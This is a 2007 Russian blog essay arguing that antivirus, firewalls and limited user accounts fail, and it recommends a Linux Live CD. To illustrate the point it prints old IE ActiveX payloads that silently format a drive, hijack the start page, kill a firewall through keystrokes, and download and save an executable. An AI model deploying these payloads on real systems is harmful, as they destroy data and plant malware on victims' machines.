25.05.2007

Философия компьютерной безопасности. Абсолютной защиты нет… и не надо!

image

Приведенную модель безопасности ни в коем случае нельзя считать панацеей. Это всего лишь попытка найти простое и надёжное решение для работы в агрессивных средах при минимальном затрате денежных средств и времени.

Классическая модель безопасности – это мыльный пузырь?! 

Антивирус 

Нужен ли вам антивирус? Конечно же нужен, скажет абсолютное большинство… как без антивируса то??? А чем же мы будем защищаться то?

Диски надо регулярно проверять? Надо! А вдруг кибер-зараза тихенько сидит и ждёт, а потом в определённый день и час – форматирование жёсткого диска…Да…

 Проверять, разумеется, лучше всего регулярно, как минимум раз в неделю, как это советуют специалисты по компьютерной безопасности… Надо проверять все носители информации – само собой разумеется жёсткий диск, конечно же дискеты, флэш-драйв и обязательно CD, совсем не важно что это займёт у вас некоторое время – ведь безопасность – превыше всего…

Обновление антивирусных баз – ну это вообще святое – базы недельной давности - уже древние, и поэтому риск подцепить заразу со старыми базами - очень велик, и это прописная истина. Выход – базы надо обновлять регулярно…

Время идёт, и в один прекрасный момент у вашего антивируса заканчивается срок лицензии (если он не бесплатный конечно) и «страж» выплёвывает - что надо бы купить ключик то, а то программа не будет полноценно работать. Ну что ж выход есть – надо найти ключ…

Один антивирус – этого явно не достаточно! Все мы знаем, что для обеспечения мало-мальски приличного уровня безопасности надо* установить два антивирусных продукта, а для того чтобы они не конфликтовали - на разные системы. Всё верно.

* Смысл подчёркнутого «надо» см. в конце статьи.

 Всё было сделано правильно и работало на ура… ничего не предвещало беды… пока в один прекрасный день – система таки не легла под новым вирусом неизвестного происхождения. Файлы были хитро переписаны вирусным кодом и/или жёсткий диск зверски отформатирован…

Варианты:

  • Вы подцепили заразу раньше, чем её сигнатуры успели попасть в базы вашего антивируса… к тому же вирусом оказался не классический exe-шник, а html-страничка, почему бы и нет;) Реализация - уязвимости браузера при обработке ActiveX объектов:
  •  Устанавливаем стартовую страницу браузера:
<APPLET ID="Shl"
CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">
</APPLET>
<script>
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://fuckofflamers.ru");
</script>


  • Звучит достаточно кощунственно: содержимое html-файла, подобно патологоанатому методично «освежевает» винчестер. Не возможно? Ещё как возможно! А вот и скрипт стартовой странички:)<script>
a=new ActiveXObject("WScript.Shell");
a.run("cmd /c format d:/y",0);
</script>

Вышеописанный скрипт, внедрённый злоумышленником в html-страницу, не много не мало – незаметно форматирует ваш логический диск d…

Продолжим весёлый некролог:

  • Система притормаживала – и на время игры в Counter Strike я взял и отключил антивирус… «зараза» почувствовала это и выполнила свою «культурную программу»…
  • Антивирус оказался беспомощным против нового пакера, к тому же PE вируса был мастерски отредактирован…
  • Зараза успела отключить антивирус раньше, чем он её запалил…

 
Эпикриз: Абсолютной защиты нет, а существующие варианты – малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.

Решение смотрите далее…

Брандмауэр

 Нужен ли нам брандмауэр?

По-моему вопрос, что-ли, ну совсем смешной;) Конечно же нужен! А как без него то вообще? Фаерволл - это первый рубеж, стоящий на страже нашей безопасности и это уже знают даже школьники!

Фаерволл – это святое. Agnitum, Zone Alarm, Kerio - кому что нравиться…

Итак, фаервол установлен, настроен – можно спать спокойно?..

Утро. Солнце светит. Вы идёте на почту оплачивать 1200$ за телефон:)

Варианты:

  • На ваш любимый фаерволл был натравлен новомодный эксплоит, после чего огненная стена превратилась в дымящуюся дыру, а ваши пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения – идея в том – что практически ни один программный продукт не застрахован от уязвимостей. Нижеследующий код на js лишь пример, но…

§ Просто выгружаем фаерволл (на примере Agnitum):

set WShell = CreateObject("WScript.Shell")

WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
WScript.Sleep 200
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 100
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
WScript.Sleep 100
WShell.SendKeys "{ENTER}"


  • Пароли спионерили, используя уязвимости web-браузера – фаерволл молчал как партизан – ещё бы, ведь в его правилах 80-порт должен быть открыт! Пример – реализация всё того же ActiveXObject:
<html>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://www.example.com/1.exe",
0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\example.exe", 2);
</script>
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0; i<lines.length; i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\\]/g,"\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL, "_media");
}
setTimeout("doit()", 5000);
</script>
</html>


  • Ни фаерволл ни антивирус тут вообще не причём… Пароли утекли через очередной успешно реализованный «Оконный» баг -  ну, к примеру, в службе lsass или в другой – благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Думаю приводить иходник подобного сплоита нет смысла вообще…

  Эпикриз: классическая модель безопасности на глазах лопается как мыльный пузырь, и это при том, что всё настроено грамотно…

Решение смотрите далее…

Администратор или Пользователь?!

Пользователь разумеется! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, разумеется, относится) может куда больше, чем с правами смертного юзера.

В качестве яркого примера, иллюстрирующего «всемогущие» возможности имени администратора можно привести следующее: данный html-код, запущенный от имени пользователя можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора:

<HTML>
<OBJECT CLASSID=’CLSID:10000000’
CODEBASE=’C:\Windows\system32\logoff.exe’>
</OBJECT>
<HTML>


«Я работаю от имени пользователя» и мне всё п…»

Ну, что ж аргумент действительно веский, к тому же, и я с этим полностью согласен, данный приём позволяет защититься от большинства из ныне существующих угроз…

Все выглядит почти идеально?!

Действительно… если не забывать про сплоиты, повышающие привелегии!

Фантастика? Да никакая не фантастика!

Если кто-то из читателей усомнится, аргументируя свою уверенность тем, что тулзы вроде DepLoit или GetAdmin – это древность, а альтернативы им нет - securitylab ему в помощь…

Даже при условии, что пользователь постоянно использует run as, войти в систему от «настоящего» администратора рано или поздно ему придётся – зараза почувствует это и выполнит свою «культурную программу»…

 Эпикриз: «И на старуху найдётся проруха;}» - понижение привелегий для большинства пользователей слишком обременительно и не удобно…

Работа от имени пользователя не может стать 100% гарантом безопасности.

Решение смотрите далее…
 
Технология инопланетян или всё гениальное просто…

 Ну вот, собственно и настал момент истины… Так чем же мы будем защищаться то?  

Ничем отвечу я вам;).

Наша модель безопасности – эта не та консервативная экстенсивная модель, привычная многим из нас: антивирус, межсетевой экран и прочие инструменты… Она не претендует на гениальность и универсальность и является лишь резонным примером, использование которого позволяет выстроить принципиально новую модель безопасности - удобную и достаточно надёжную.

Суть проста – весь секрет в среде, в которой мы будем работать, а также ещё кое в чем… Многие уже догадались.

Форматируем несуществующий винчестер!

 А что нам мешает работать не под прожжённой Windows, а под Linux, да ещё и с загрузочного диска Live CD? Ничего! Кроме лени, разумеется;)

Да, возможно, нам придётся пожертвовать некоторыми удобствами, да и не везде можно загрузится с диска, но игра стоит свеч, посудите сами:

  • Больше никаких «надо»
  • Минимальное количество настроек
  • Готовая модель безопасности умещается на мини-CD и лежит у вас в кармане!

Решаемые вопросы:

  1.  Малое количество вирусов, червей, троянов, эксплоитов работающих под Linux.
  2. Работая с загрузочного диска, можно навсегда забыть, что такое отформатированные винчестеры, убитые exe-шники и похищенные пароли – на время работы с liveCD – жесткий диск нам не к чему.
  3.   Работая с загрузочного диска – где бы вы не были: дома, на работе ну, и, конечно же, в «боевых» условиях (а для этого модель то в основном и предназначена) – вам не придётся ломать себе голову, как сделать так, чтобы не осталось следов и не полетела система…
  4. И последнее: система проста и вместе с тем надёжна.

 Вместо PS: приведенную модель безопасности ни в коем случае нельзя считать панацеей. Это всего лишь попытка найти простое и надёжное решение для работы в агрессивных средах при минимальном затрате денежных средств и времени.

Олег Бойцев
security-expert

boytsev_om@mail.ru